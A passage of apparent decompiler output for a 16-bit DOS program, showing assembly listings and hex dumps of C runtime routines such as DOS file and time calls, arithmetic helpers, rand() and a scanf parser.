cmp byte ptr es:[bx],0FFh
jz 024Dh
l0800_0241:
cmp es:[bx+1h],ah
jc 024Dh
l0800_0247:
mov ah,es:[bx+1h]
mov dx,bx
l0800_024D:
add bx,6h
jmp 0237h
l0800_0252:
cmp dx,di
jz 0271h
l0800_0256:
mov bx,dx
cmp byte ptr es:[bx],0h
mov byte ptr es:[bx],0FFh
push es
jz 026Ah
l0800_0263:
call dword ptr es:[bx+2h]
pop es
jmp 0231h
l0800_026A:
call word ptr es:[bx+2h]
pop es
jmp 0231h
l0800_0271:
ret
0800:0272 B4 40 BB 02 00 CD 21 C3 B9 1E 00 BA 3D 00 .@....!.....=.
0800:0280 2E 8E 1E 91 02 E8 EA FF B8 03 00 50 90 0E E8 37 ...........P...7
0800:0290 01 00 00 04 C0 00 55 8B EC 83 3E E0 96 20 75 05 ......U...>.. u.
0800:02A0 B8 01 00 EB 1C 8B 1E E0 96 B1 02 D3 E3 8B 46 08 ..............F.
0800:02B0 8B 56 06 89 87 BA AA 89 97 B8 AA FF 06 E0 96 33 .V.............3
0800:02C0 C0 5D CB 50 53 51 52 06 1E 56 57 55 BD BA 28 8E .].PSQR..VWU..(.
0800:02D0 DD FF 1E 38 AB 0B C0 75 09 33 C0 50 90 0E E8 E7 ...8...u.3.P....
0800:02E0 00 59 5D 5F 5E 1F 07 5A 59 5B 58 CF .Y]_^..ZY[X.
;; fn0800_02EC: 0800:02EC
;; Called from:
;; 268D:0142 (in main)
fn0800_02EC proc
push bp
mov bp,sp
mov ax,[bp+8h]
mov dx,[bp+6h]
mov [0AB3Ah],ax
mov [0AB38h],dx
mov ax,800h
push ax
mov ax,2C3h
push ax
mov ax,23h
push ax
nop
push cs
call 0445h
add sp,6h
pop bp
retf
;; fn0800_0312: 0800:0312
;; Called from:
;; 2331:0150 (in fn2331_0118)
fn0800_0312 proc
push bp
mov bp,sp
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 1C24h
pop cx
pop cx
pop bp
retf
0800:0324 55 8B EC 1E B4 43 32 C0 C5 56 06 CD U....C2..V..
0800:0330 21 1F 72 0A C4 5E 0A 26 89 0F 33 C0 EB 04 50 E8 !.r..^.&..3...P.
0800:0340 A4 02 5D CB 55 8B EC 1E B4 43 B0 01 C5 56 06 8B ..].U....C...V..
0800:0350 4E 0A CD 21 1F 72 04 33 C0 EB 04 50 E8 87 02 5D N..!.r.3...P...]
0800:0360 CB CB ..
;; fn0800_0362: 0800:0362
;; Called from:
;; 0800:03C3 (in fn0800_03B9)
fn0800_0362 proc
push bp
mov bp,sp
push si
mov si,[bp+8h]
or si,si
jnz 038Fh
l0800_036D:
jmp 037Fh
l0800_036F:
dec word ptr [96E0h]
mov bx,[96E0h]
mov cl,2h
shl bx,cl
call dword ptr [bx+0AAB8h]
l0800_037F:
cmp word ptr [96E0h],0h
jnz 036Fh
l0800_0386:
nop
push cs
call 0157h
call dword ptr [97E4h]
l0800_038F:
nop
push cs
call 01C0h
nop
push cs
call 016Ah
cmp word ptr [bp+6h],0h
jnz 03B4h
l0800_039F:
or si,si
jnz 03ABh
l0800_03A3:
call dword ptr [97E8h]
call dword ptr [97ECh]
l0800_03AB:
push word ptr [bp+4h]
nop
push cs
call 016Bh
pop cx
l0800_03B4:
pop si
pop bp
ret 6h
;; fn0800_03B9: 0800:03B9
;; Called from:
;; 209F:0080 (in fn209F_0002)
;; 268D:0136 (in main)
;; 268D:05D1 (in fn268D_03E2)
fn0800_03B9 proc
push bp
mov bp,sp
xor ax,ax
push ax
push ax
push word ptr [bp+6h]
call 0362h
pop bp
retf
0800:03C8 55 8B EC B8 01 00 50 33 U.....P3
0800:03D0 C0 50 FF 76 06 E8 8A FF 5D CB 33 C0 50 B8 01 00 .P.v....].3.P...
0800:03E0 50 33 C0 50 E8 7B FF CB B8 01 00 50 50 33 C0 50 P3.P.{.....PP3.P
0800:03F0 E8 6F FF CB .o..
;; fn0800_03F4: 0800:03F4
;; Called from:
;; 0CE0:090D (in fn0CE0_08FC)
;; 0F2B:131A (in fn0F2B_130A)
;; 0F2B:154F (in fn0F2B_153F)
;; 226D:0109 (in fn226D_00F9)
;; 226D:058F (in fn226D_057F)
;; 268D:08D9 (in fn268D_08C8)
fn0800_03F4 proc
push bp
mov bp,sp
push si
push di
push ds
lds si,[bp+6h]
les di,[bp+0Ah]
cld
shr cx,1h
l0800_0403:
rep movsw
l0800_0405:
adc cx,cx
l0800_0407:
rep movsb
l0800_0409:
pop ds
pop di
pop si
pop bp
retf 8h
;; fn0800_0410: 0800:0410
;; Called from:
;; 0800:10BD (in fn0800_10B1)
fn0800_0410 proc
push bp
mov bp,sp
mov ah,2Ah
int 21h
les bx,[bp+6h]
mov es:[bx],cx
mov es:[bx+2h],dx
pop bp
retf
;; fn0800_0423: 0800:0423
;; Called from:
;; 0800:10C9 (in fn0800_10B1)
fn0800_0423 proc
push bp
mov bp,sp
mov ah,2Ch
int 21h
les bx,[bp+6h]
mov es:[bx],cx
mov es:[bx+2h],dx
pop bp
retf
;; fn0800_0436: 0800:0436
;; Called from:
;; 2057:00D1 (in fn2057_005C)
;; 2141:0214 (in fn2141_020E)
fn0800_0436 proc
push bp
mov bp,sp
mov ah,35h
mov al,[bp+6h]
int 21h
xchg bx,ax
mov dx,es
pop bp
retf
;; fn0800_0445: 0800:0445
;; Called from:
;; 0800:0309 (in fn0800_02EC)
;; 2057:00E7 (in fn2057_005C)
;; 2057:014A (in fn2057_011E)
;; 2141:0229 (in fn2141_020E)
;; 2141:0278 (in fn2141_0271)
fn0800_0445 proc
push bp
mov bp,sp
mov ah,25h
mov al,[bp+6h]
push ds
lds dx,[bp+8h]
int 21h
pop ds
pop bp
retf
0800:0456 59 0E 51 33 C9 EB 16 59 0E 51 Y.Q3...Y.Q
0800:0460 B9 01 00 EB 0E 59 0E 51 B9 02 00 EB 06 59 0E 51 .....Y.Q.....Y.Q
0800:0470 B9 03 00 55 56 57 8B EC 8B F9 8B 46 0A 8B 56 0C ...UVW.....F..V.
0800:0480 8B 5E 0E 8B 4E 10 0B C9 75 08 0B D2 74 69 0B DB .^..N...u...ti..
0800:0490 74 65 F7 C7 01 00 75 1C 0B D2 79 0A F7 DA F7 D8 te....u...y.....
0800:04A0 83 DA 00 83 CF 0C 0B C9 79 0A F7 D9 F7 DB 83 D9 ........y.......
0800:04B0 00 83 F7 04 8B E9 B9 20 00 57 33 FF 33 F6 D1 E0 ....... .W3.3...
0800:04C0 D1 D2 D1 D6 D1 D7 3B FD 72 0B 77 04 3B F3 72 05 ......;.r.w.;.r.
0800:04D0 2B F3 1B FD 40 E2 E7 5B F7 C3 02 00 74 06 8B C6 +...@..[....t...
0800:04E0 8B D7 D1 EB F7 C3 04 00 74 07 F7 DA F7 D8 83 DA ........t.......
0800:04F0 00 5F 5E 5D CA 08 00 F7 F3 F7 C7 02 00 74 01 92 ._^].........t..
0800:0500 33 D2 EB ED 3...
;; fn0800_0504: 0800:0504
;; Called from:
;; 0800:1FD8 (in fn0800_1FCB)
fn0800_0504 proc
pop bx
push cs
push bx
cmp cl,10h
jnc 051Ch
l0800_050C:
mov bx,ax
shl ax,cl
shl dx,cl
neg cl
add cl,10h
shr bx,cl
or dx,bx
retf
l0800_051C:
sub cl,10h
xchg dx,ax
xor ax,ax
shl dx,cl
retf
;; fn0800_0525: 0800:0525
;; Called from:
;; 0800:2009 (in fn0800_1FCB)
fn0800_0525 proc
pop es
push cs
push es
;; fn0800_0528: 0800:0528
;; Called from:
;; 1D10:116A (in fn1D10_1153)
fn0800_0528 proc
or cx,cx
jge 0538h
;; fn0800_052C: 0800:052C
;; Called from:
;; 0800:052A (in fn0800_0528)
;; 0800:052A (in fn0800_0525)
fn0800_052C proc
not bx
not cx
add bx,1h
adc cx,0h
jmp 0567h
;; fn0800_0538: 0800:0538
;; Called from:
;; 0800:052A (in fn0800_0528)
;; 0800:052A (in fn0800_0525)
fn0800_0538 proc
add ax,bx
jnc 0540h
l0800_053C:
add dx,1000h
l0800_0540:
mov ch,cl
mov cl,4h
shl ch,cl
add dh,ch
mov ch,al
shr ax,cl
add dx,ax
mov al,ch
and ax,0Fh
retf
0800:0554 07 0E 06 0B C9 7D 0C F7 D3 F7 D1 83 .....}......
0800:0560 C3 01 83 D1 00 EB D1 .......
l0800_0567:
sub ax,bx
jnc 056Fh
l0800_056B:
sub dx,1000h
l0800_056F:
mov bh,cl
mov cl,4h
shl bh,cl
xor bl,bl
sub dx,bx
mov ch,al
shr ax,cl
add dx,ax
mov al,ch
and ax,0Fh
retf
;; fn0800_0585: 0800:0585
;; Called from:
;; 0800:2075 (in fn0800_2056)
fn0800_0585 proc
pop es
push cs
push es
push di
mov di,cx
mov ch,dh
mov cl,4h
shl dx,cl
shr ch,cl
add dx,ax
adc ch,0h
mov ax,di
shl di,cl
shr ah,cl
add bx,di
adc ah,0h
sub dx,bx
sbb ch,ah
mov al,ch
cbw
xchg dx,ax
pop di
retf
;; fn0800_05AD: 0800:05AD
;; Called from:
;; 0800:06CE (in fn0800_06AB)
;; 0800:088F (in fn0800_0865)
;; 0800:08A7 (in fn0800_0894)
;; 0800:1136 (in fn0800_1123)
;; 0800:22B9 (in fn0800_222A)
;; 0800:238B (in fn0800_2367)
;; 0800:28FC (in fn0800_28E6)
;; 0800:2A8E (in fn0800_2A76)
;; 0800:2AA3 (in fn0800_2A93)
;; 0800:2AD4 (in fn0800_2ABB)
;; 0800:2B49 (in fn0800_2AD9)
;; 0800:2D9F (in fn0800_2D71)
;; 0800:2DCC (in fn0800_2DA4)
;; 0800:2E0A (in fn0800_2DD1)
;; 0800:35FC (in fn0800_35E8)
;; 0800:365D (in fn0800_3615)
;; 0800:3671 (in fn0800_3615)
;; 0800:37CC (in fn0800_3784)
;; 0800:3BCB (in fn0800_3BB6)
;; 0800:44DE (in fn0800_44C8)
;; 0800:4650 (in fn0800_4619)
fn0800_05AD proc
push bp
mov bp,sp
push si
mov si,[bp+4h]
or si,si
jl 05CDh
l0800_05B8:
cmp si,58h
jle 05C0h
l0800_05BD:
mov si,57h
l0800_05C0:
mov [99AEh],si
mov al,[si+99B0h]
cbw
mov si,ax
jmp 05DAh
l0800_05CD:
neg si
cmp si,30h
jg 05BDh
l0800_05D4:
mov word ptr [99AEh],0FFFFh
l0800_05DA:
mov [007Fh],si
mov ax,0FFFFh
pop si
pop bp
ret 2h
0800:05E6 55 8B EC 56 8B 76 04 56 E8 BC U..V.v.V..
0800:05F0 FF 8B C6 5E 5D C2 02 00 ...^]...
;; fn0800_05F8: 0800:05F8
;; Called from:
;; 0800:2F7C (in fn0800_2F10)
fn0800_05F8 proc
push bp
mov bp,sp
mov ax,4400h
mov bx,[bp+6h]
int 21h
xchg dx,ax
and ax,80h
pop bp
retf
;; fn0800_0609: 0800:0609
;; Called from:
;; 0800:06A4 (in fn0800_068B)
;; 0800:1373 (in fn0800_1153)
fn0800_0609 proc
push bp
mov bp,sp
sub sp,22h
push si
push di
push es
les di,[bp+0Ah]
mov bx,[bp+8h]
cmp bx,24h
ja 0679h
l0800_061D:
cmp bl,2h
jc 0679h
l0800_0622:
mov ax,[bp+0Eh]
mov cx,[bp+10h]
or cx,cx
jge 063Eh
l0800_062C:
cmp byte ptr [bp+6h],0h
jz 063Eh
l0800_0632:
mov byte ptr es:[di],2Dh
inc di
neg cx
neg ax
sbb cx,0h
l0800_063E:
lea si,[bp-22h]
jcxz 0653h
l0800_0643:
xchg cx,ax
sub dx,dx
div bx
xchg cx,ax
div bx
mov ss:[si],dl
inc si
jcxz 065Bh
l0800_0651:
jmp 0643h
l0800_0653:
sub dx,dx
div bx
mov ss:[si],dl
inc si
l0800_065B:
or ax,ax
jnz 0653h
l0800_065F:
lea cx,[bp-22h]
neg cx
add cx,si
cld
l0800_0667:
dec si
mov al,ss:[si]
sub al,0Ah
jnc 0673h
l0800_066F:
add al,3Ah
jmp 0676h
l0800_0673:
add al,[bp+4h]
l0800_0676:
stosb
loop 0667h
l0800_0679:
mov al,0h
stosb
pop es
mov dx,[bp+0Ch]
mov ax,[bp+0Ah]
pop di
pop si
mov sp,bp
pop bp
ret 0Eh
;; fn0800_068B: 0800:068B
;; Called from:
;; 0800:0711 (in fn0800_06D4)
fn0800_068B proc
push bp
mov bp,sp
xor ax,ax
push ax
push word ptr [bp+8h]
push word ptr [bp+6h]
push word ptr [bp+4h]
mov ax,0Ah
push ax
mov al,0h
push ax
mov al,61h
push ax
call 0609h
pop bp
ret 6h
;; fn0800_06AB: 0800:06AB
;; Called from:
;; 0800:111A (in fn0800_1109)
;; 0800:316B (in fn0800_3106)
;; 0800:3935 (in fn0800_380A)
;; 0800:3C6B (in fn0800_3BB6)
;; 0800:450A (in fn0800_44C8)
;; 0CE0:003F (in fn0CE0_0007)
;; 1D10:0E39 (in fn1D10_09C2)
;; 1D10:103C (in fn1D10_0FB3)
;; 1D10:108D (in fn1D10_0FB3)
;; 1D10:1400 (in fn1D10_1368)
;; 1ED0:003E (in fn1ED0_0009)
;; 209F:0333 (in fn209F_02E3)
;; 209F:03F4 (in fn209F_02E3)
;; 209F:05A6 (in fn209F_0516)
;; 209F:0626 (in fn209F_0516)
;; 209F:090B (in fn209F_08D2)
;; 209F:0923 (in fn209F_08D2)
;; 2476:06E4 (in fn2476_0630)
;; 263F:0371 (in fn263F_033E)
;; 263F:03B4 (in fn263F_033E)
;; 268D:0264 (in main)
fn0800_06AB proc
push bp
mov bp,sp
mov bx,[bp+6h]
shl bx,1h
and word ptr [bx+9982h],0FDFFh
mov ah,42h
mov al,[bp+0Ch]
mov bx,[bp+6h]
mov cx,[bp+0Ah]
mov dx,[bp+8h]
int 21h
jc 06CDh
l0800_06CB:
jmp 06D2h
l0800_06CD:
push ax
call 05ADh
cwd
l0800_06D2:
pop bp
retf
;; fn0800_06D4: 0800:06D4
;; Called from:
;; 0800:2BEE (in fn0800_2B50)
fn0800_06D4 proc
push bp
mov bp,sp
mov ax,[bp+0Ah]
or ax,[bp+0Ch]
jnz 06E7h
l0800_06DF:
mov [bp+0Ch],ds
mov word ptr [bp+0Ah],0AB3Ch
l0800_06E7:
push word ptr [bp+4h]
mov ax,[bp+6h]
or ax,[bp+8h]
jnz 06F9h
l0800_06F2:
mov dx,ds
mov ax,9A0Ah
jmp 06FFh
l0800_06F9:
mov dx,[bp+8h]
mov ax,[bp+6h]
l0800_06FF:
push dx
push ax
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
nop
push cs
call 16B5h
add sp,8h
push dx
push ax
call 068Bh
push ds
mov ax,9A0Eh
push ax
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
nop
push cs
call 3DA7h
add sp,8h
mov dx,[bp+0Ch]
mov ax,[bp+0Ah]
pop bp
ret 0Ah
0800:0731 55 8B EC 83 EC 02 FF 76 0A FF 76 08 33 C0 33 U......v..v.3.3
0800:0740 D2 50 52 C4 5E 04 26 83 3F FF 75 05 B8 02 00 EB .PR.^.&.?.u.....
0800:0750 03 B8 01 00 C4 5E 04 26 01 07 26 8B 07 50 E8 73 .....^.&..&..P.s
0800:0760 FF 89 56 0A 89 46 08 16 8D 46 FE 50 FF 76 0A FF ..V..F...F.P.v..
0800:0770 76 08 90 0E E8 AD FB 83 C4 08 0B C0 74 B9 8B 56 v...........t..V
0800:0780 0A 8B 46 08 8B E5 5D C2 08 00 55 8B EC 83 EC 04 ..F...]...U.....
0800:0790 A1 4C AB 8B 16 4A AB 89 46 FE 89 56 FC 8B 46 08 .L...J..F..V..F.
0800:07A0 8B 56 06 A3 4C AB 89 16 4A AB 8B 56 FE 8B 46 FC .V..L...J..V..F.
0800:07B0 8B E5 5D CB ..].
;; fn0800_07B4: 0800:07B4
;; Called from:
;; 1744:0010 (in fn1744_000A)
;; 2331:002F (in fn2331_0000)
;; 2331:0063 (in fn2331_0000)
fn0800_07B4 proc
push bp
mov bp,sp
sub sp,4h
push si
mov si,[bp+6h]
or si,si
jz 07C6h
l0800_07C2:
mov ax,si
jmp 07C9h
l0800_07C6:
mov ax,1h
l0800_07C9:
mov si,ax
jmp 07D1h
l0800_07CD:
call dword ptr [0AB4Ah]
l0800_07D1:
push si
nop
push cs
call 1D2Eh
pop cx
mov [bp-2h],dx
mov [bp-4h],ax
or ax,dx
jnz 07EBh
l0800_07E2:
mov ax,[0AB4Ah]
or ax,[0AB4Ch]
jnz 07CDh
l0800_07EB:
mov dx,[bp-2h]
mov ax,[bp-4h]
pop si
mov sp,bp
pop bp
retf
;; fn0800_07F6: 0800:07F6
;; Called from:
;; 0800:084D (in fn0800_083F)
;; 0800:1A9F (in fn0800_1A83)
;; 0800:3E9A (in fn0800_3E5F)
;; 0800:3EB3 (in fn0800_3E5F)
;; 0800:3F46 (in fn0800_3E5F)
;; 0800:3F61 (in fn0800_3E5F)
;; 0800:42D5 (in fn0800_418D)
fn0800_07F6 proc
push si
xchg si,ax
xchg dx,ax
test ax,ax
jz 07FFh
l0800_07FD:
mul bx
l0800_07FF:
jcxz 0806h
l0800_0801:
xchg cx,ax
mul si
add ax,cx
l0800_0806:
xchg si,ax
mul bx
add dx,si
pop si
ret
;; fn0800_080D: 0800:080D
;; Called from:
;; 0800:1F9D (in fn0800_1F8C)
;; 0800:1FB0 (in fn0800_1F8C)
;; 0800:201A (in fn0800_1FCB)
;; 0800:202D (in fn0800_1FCB)
fn0800_080D proc
push cx
mov ch,al
mov cl,4h
shr ax,cl
add dx,ax
mov al,ch
mov ah,bl
shr bx,cl
pop cx
add cx,bx
mov bl,ah
and ax,0Fh
and bx,0Fh
cmp dx,cx
jnz 082Dh
l0800_082B:
cmp ax,bx
l0800_082D:
ret
;; fn0800_082E: 0800:082E
;; Called from:
;; 1232:0008 (in fn1197_09AC)
fn0800_082E proc
push bp
mov bp,sp
mov ax,[bp+6h]
mov word ptr [9A16h],0h
mov [9A14h],ax
pop bp
retf
;; fn0800_083F: 0800:083F
;; Called from:
;; 1F0F:0C8A (in fn1F0F_0BF7)
;; 268D:02AE (in fn268D_0282)
fn0800_083F proc
mov cx,[9A16h]
mov bx,[9A14h]
mov dx,15Ah
mov ax,4E35h
call 07F6h
add ax,1h
adc dx,0h
mov [9A16h],dx
mov [9A14h],ax
mov ax,[9A16h]
cwd
and ax,7FFFh
retf
;; fn0800_0865: 0800:0865
;; Called from:
;; 0800:3BF9 (in fn0800_3BB6)
;; 0800:3C46 (in fn0800_3BB6)
fn0800_0865 proc
push bp
mov bp,sp
mov bx,[bp+6h]
shl bx,1h
test word ptr [bx+9982h],2h
jz 087Bh
l0800_0875:
mov ax,5h
push ax
jmp 088Fh
l0800_087B:
push ds
mov ah,3Fh
mov bx,[bp+6h]
mov cx,[bp+0Ch]
lds dx,[bp+8h]
int 21h
pop ds
jc 088Eh
l0800_088C:
jmp 0892h
l0800_088E:
push ax
l0800_088F:
call 05ADh
l0800_0892:
pop bp
retf
;; fn0800_0894: 0800:0894
;; Called from:
;; 0E31:000A (in fn0E31_0002)
;; 226D:0428 (in fn226D_00F9)
fn0800_0894 proc
push bp
mov bp,sp
push ds
mov ah,41h
lds dx,[bp+6h]
int 21h
pop ds
jc 08A6h
l0800_08A2:
xor ax,ax
jmp 08AAh
l0800_08A6:
push ax
call 05ADh
l0800_08AA:
pop bp
retf
;; fn0800_08AC: 0800:08AC
;; Called from:
;; 0800:307C (in fn0800_3060)
fn0800_08AC proc
push bp
mov bp,sp
sub sp,2Ah
push si
push di
mov word ptr [bp-4h],0h
mov word ptr [bp-6h],0h
jmp 08DBh
;; fn0800_08C0: 0800:08C0
;; Called from:
;; 0800:0A25 (in fn0800_08AC)
;; 0800:0AE8 (in fn0800_08AC)
;; 0800:0B8A (in fn0800_08AC)
;; 0800:0C3C (in fn0800_08AC)
fn0800_08C0 proc
les di,[bp+10h]
test byte ptr [bp-1h],20h
jz 08D1h
l0800_08C9:
les di,es:[di]
add word ptr [bp+10h],4h
ret
l0800_08D1:
mov di,es:[di]
push ds
pop es
add word ptr [bp+10h],2h
ret
l0800_08DB:
push es
cld
l0800_08DD:
mov si,[bp+0Ch]
l0800_08E0:
mov es,[bp+0Eh]
lodsb
or al,al
jz 0957h
l0800_08E9:
cmp al,25h
jz 095Ah
l0800_08ED:
cbw
xchg di,ax
inc word ptr [bp-6h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
or ax,ax
jl 092Bh
l0800_0901:
cbw
or di,di
js 0940h
l0800_0906:
cmp byte ptr [di+9A18h],1h
jnz 0940h
l0800_090D:
xchg bx,ax
or bl,bl
js 092Eh
l0800_0912:
cmp byte ptr [bx+9A18h],1h
jnz 092Eh
l0800_0919:
inc word ptr [bp-6h]
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
or ax,ax
jg 090Dh
l0800_092B:
jmp 0CC1h
l0800_092E:
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push bx
call word ptr [bp+6h]
add sp,6h
dec word ptr [bp-6h]
jmp 08E0h
l0800_0940:
cmp ax,di
jz 08E0h
l0800_0944:
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push ax
call word ptr [bp+6h]
add sp,6h
dec word ptr [bp-6h]
jmp 0CD9h
l0800_0957:
jmp 0CD9h
l0800_095A:
mov word ptr [bp-0Ah],0FFFFh
mov es,[bp+0Eh]
mov byte ptr [bp-1h],20h
l0800_0966:
lodsb
cbw
mov [bp+0Ch],si
xchg di,ax
or di,di
jl 098Ah
l0800_0971:
mov bl,[di+9A18h]
xor bh,bh
cmp bx,15h
jbe 097Fh
l0800_097C:
jmp 0CC1h
l0800_097F:
shl bx,1h
jmp word ptr cs:[bx+0D74h]
l0800_0986:
xchg di,ax
jmp 08EDh
l0800_098A:
jmp 0CD9h
l0800_098D:
or byte ptr [bp-1h],1h
jmp 0966h
l0800_0993:
sub di,30h
xchg [bp-0Ah],di
or di,di
jl 0966h
l0800_099D:
mov ax,0Ah
mul di
add [bp-0Ah],ax
jmp 0966h
l0800_09A7:
or byte ptr [bp-1h],8h
jmp 0966h
l0800_09AD:
or byte ptr [bp-1h],4h
jmp 0966h
l0800_09B3:
or byte ptr [bp-1h],2h
jmp 0966h
l0800_09B9:
and byte ptr [bp-1h],0DFh
jmp 0966h
l0800_09BF:
or byte ptr [bp-1h],20h
jmp 0966h
l0800_09C5:
mov ax,[bp-6h]
sub dx,dx
test byte ptr [bp-1h],1h
jz 0A25h
l0800_09D0:
jmp 0966h
l0800_09D2:
mov si,8h
jmp 09E3h
l0800_09D7:
mov si,0Ah
jmp 09E3h
l0800_09DC:
mov si,10h
jmp 09E3h
l0800_09E1:
xor si,si
l0800_09E3:
test di,20h
jnz 09F2h
l0800_09E9:
cmp di,58h
jz 09F2h
l0800_09EE:
or byte ptr [bp-1h],4h
l0800_09F2:
push ss
lea ax,[bp-8h]
push ax
push ss
lea ax,[bp-6h]
push ax
mov ax,[bp-0Ah]
and ax,7FFFh
push ax
push si
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push word ptr [bp+6h]
push word ptr [bp+4h]
call 0DCBh
add sp,14h
cmp word ptr [bp-8h],0h
jle 0A34h
l0800_0A1C:
test byte ptr [bp-1h],1h
jnz 0A31h
l0800_0A22:
inc word ptr [bp-4h]
l0800_0A25:
call 08C0h
stosw
test byte ptr [bp-1h],4h
jz 0A31h
l0800_0A2F:
xchg dx,ax
stosw
l0800_0A31:
jmp 08DDh
l0800_0A34:
jl 0A39h
l0800_0A36:
jmp 0CD9h
l0800_0A39:
jmp 0CC1h
l0800_0A3C:
call 0A3Fh
;; fn0800_0A3F: 0800:0A3F
;; Called from:
;; 0800:0A3C (in fn0800_08AC)
;; 0800:0A3C (in fn0800_08AC)
fn0800_0A3F proc
jmp 0CE0h
0800:0A42 FF 76 0A FF 76 08 50 FF 56 06 83 C4 06 FF .v..v.P.V.....
0800:0A50 4E FA 81 66 F6 FF 7F E8 00 00 E9 AD 02 52 3C 3A N..f.........R<:
0800:0A60 74 19 0B C0 7E 10 FF 76 0A FF 76 08 50 FF 56 06 t...~..v..v.P.V.
0800:0A70 83 C4 06 FF 4E FA 5A 8C DB EB 1F E8 00 00 E9 89 ....N.Z.........
0800:0A80 02 5B 0B C0 7E 14 52 53 FF 76 0A FF 76 08 50 FF .[..~.RS.v..v.P.
0800:0A90 56 06 83 C4 06 FF 4E FA 5B 5A F6 46 FF 01 75 10 V.....N.[Z.F..u.
0800:0AA0 E8 1D FE FF 46 FC 92 AB F6 46 FF 20 74 02 93 AB ....F....F. t...
0800:0AB0 E9 2A FE .*.
l0800_0AB3:
jmp 0CC1h
l0800_0AB6:
push ss
lea ax,[bp-8h]
push ax
push ss
lea ax,[bp-6h]
push ax
mov ax,7FFFh
and ax,[bp-0Ah]
push ax
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push word ptr [bp+6h]
push word ptr [bp+4h]
call 245Ah
add sp,12h
cmp word ptr [bp-8h],0h
jle 0B18h
l0800_0ADF:
mov al,[bp-1h]
cbw
test ax,1h
jnz 0B12h
l0800_0AE8:
call 08C0h
inc word ptr [bp-4h]
test byte ptr [bp-1h],4h
jz 0AF9h
l0800_0AF4:
mov ax,4h
jmp 0B06h
l0800_0AF9:
test byte ptr [bp-1h],8h
jz 0B04h
l0800_0AFF:
mov ax,8h
jmp 0B06h
l0800_0B04:
xor ax,ax
l0800_0B06:
push ax
push es
push di
call 245Eh
add sp,6h
jmp 08DDh
l0800_0B12:
call 2462h
jmp 08DDh
l0800_0B18:
call 2462h
jl 0AB3h
l0800_0B1D:
jmp 0CD9h
l0800_0B20:
call 0B23h
;; fn0800_0B23: 0800:0B23
;; Called from:
;; 0800:0B20 (in fn0800_08AC)
;; 0800:0B20 (in fn0800_08AC)
fn0800_0B23 proc
jmp 0CE0h
0800:0B26 F6 46 FF 01 75 06 E8 91 FD FF .F..u.....
0800:0B30 46 FC 81 66 F6 FF 7F 74 2D F6 46 FF 01 75 01 AA F..f...t-.F..u..
0800:0B40 FF 46 FA 06 FF 76 0A FF 76 08 FF 56 04 59 59 07 .F...v..v..V.YY.
0800:0B50 0B C0 7E 12 0A C0 78 09 93 80 BF 18 9A 01 93 7E ..~...x........~
0800:0B60 05 FF 4E F6 7F D3 06 FF 76 0A FF 76 08 50 FF 56 ..N.....v..v.P.V
0800:0B70 06 83 C4 06 07 FF 4E FA F6 46 FF 01 75 03 B0 00 ......N..F..u...
0800:0B80 AA E9 59 FD ..Y.
l0800_0B84:
test byte ptr [bp-1h],1h
jnz 0B8Dh
l0800_0B8A:
call 08C0h
l0800_0B8D:
mov si,[bp-0Ah]
or si,si
jge 0B97h
l0800_0B94:
mov si,1h
l0800_0B97:
jz 0BB7h
l0800_0B99:
inc word ptr [bp-6h]
push es
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
pop es
or ax,ax
jl 0BC3h
l0800_0BAD:
test byte ptr [bp-1h],1h
jnz 0BB4h
l0800_0BB3:
stosb
l0800_0BB4:
dec si
jg 0B99h
l0800_0BB7:
test byte ptr [bp-1h],1h
jnz 0BC0h
l0800_0BBD:
inc word ptr [bp-4h]
l0800_0BC0:
jmp 08DDh
l0800_0BC3:
jmp 0CC1h
l0800_0BC6:
push es
sub ax,ax
cld
push ss
pop es
lea di,[bp-2Ah]
mov cx,10h
l0800_0BD2:
rep stosw
l0800_0BD4:
pop es
lodsb
and byte ptr [bp-1h],0EFh
cmp al,5Eh
jnz 0BE5h
l0800_0BDF:
or byte ptr [bp-1h],10h
lodsb
l0800_0BE5:
mov ah,0h
l0800_0BE7:
mov dl,al
mov di,ax
mov cl,3h
shr di,cl
mov cx,107h
and cl,dl
shl ch,cl
or [bp+di-2Ah],ch
l0800_0BF9:
lodsb
cmp al,0h
jz 0C28h
l0800_0BFF:
cmp al,5Dh
jz 0C2Bh
l0800_0C03:
cmp al,2Dh
jnz 0BE7h
l0800_0C07:
cmp dl,es:[si]
ja 0BE7h
l0800_0C0C:
cmp byte ptr es:[si],5Dh
jz 0BE7h
l0800_0C12:
lodsb
sub al,dl
jz 0BF9h
l0800_0C18:
add dl,al
l0800_0C1A:
rol ch,1h
adc di,0h
or [bp+di-2Ah],ch
dec al
jnz 0C1Ah
l0800_0C26:
jmp 0BF9h
l0800_0C28:
jmp 0CD9h
l0800_0C2B:
mov [bp+0Ch],si
and word ptr [bp-0Ah],7FFFh
mov si,[bp-0Ah]
test byte ptr [bp-1h],1h
jnz 0C3Fh
l0800_0C3C:
call 08C0h
l0800_0C3F:
dec si
jl 0C9Ah
l0800_0C42:
inc word ptr [bp-6h]
push es
push word ptr [bp+0Ah]
push word ptr [bp+8h]
call word ptr [bp+4h]
pop cx
pop cx
pop es
or ax,ax
jl 0CAFh
l0800_0C56:
xchg si,ax
mov bx,si
mov cl,3h
shr si,cl
mov cx,107h
and cl,bl
shl ch,cl
test [bp+si-2Ah],ch
xchg si,ax
xchg bx,ax
jz 0C73h
l0800_0C6B:
test byte ptr [bp-1h],10h
jz 0C79h
l0800_0C71:
jmp 0C82h
l0800_0C73:
test byte ptr [bp-1h],10h
jz 0C82h
l0800_0C79:
test byte ptr [bp-1h],1h
jnz 0C3Fh
l0800_0C7F:
stosb
jmp 0C3Fh
l0800_0C82:
push es
push word ptr [bp+0Ah]
push word ptr [bp+8h]
push ax
call word ptr [bp+6h]
add sp,6h
pop es
dec word ptr [bp-6h]
inc si
cmp si,[bp-0Ah]
jge 0CA3h
l0800_0C9A:
test byte ptr [bp-1h],1h
jnz 0CACh
l0800_0CA0:
inc word ptr [bp-4h]
l0800_0CA3:
test byte ptr [bp-1h],1h
jnz 0CACh
l0800_0CA9:
mov al,0h
stosb
l0800_0CAC:
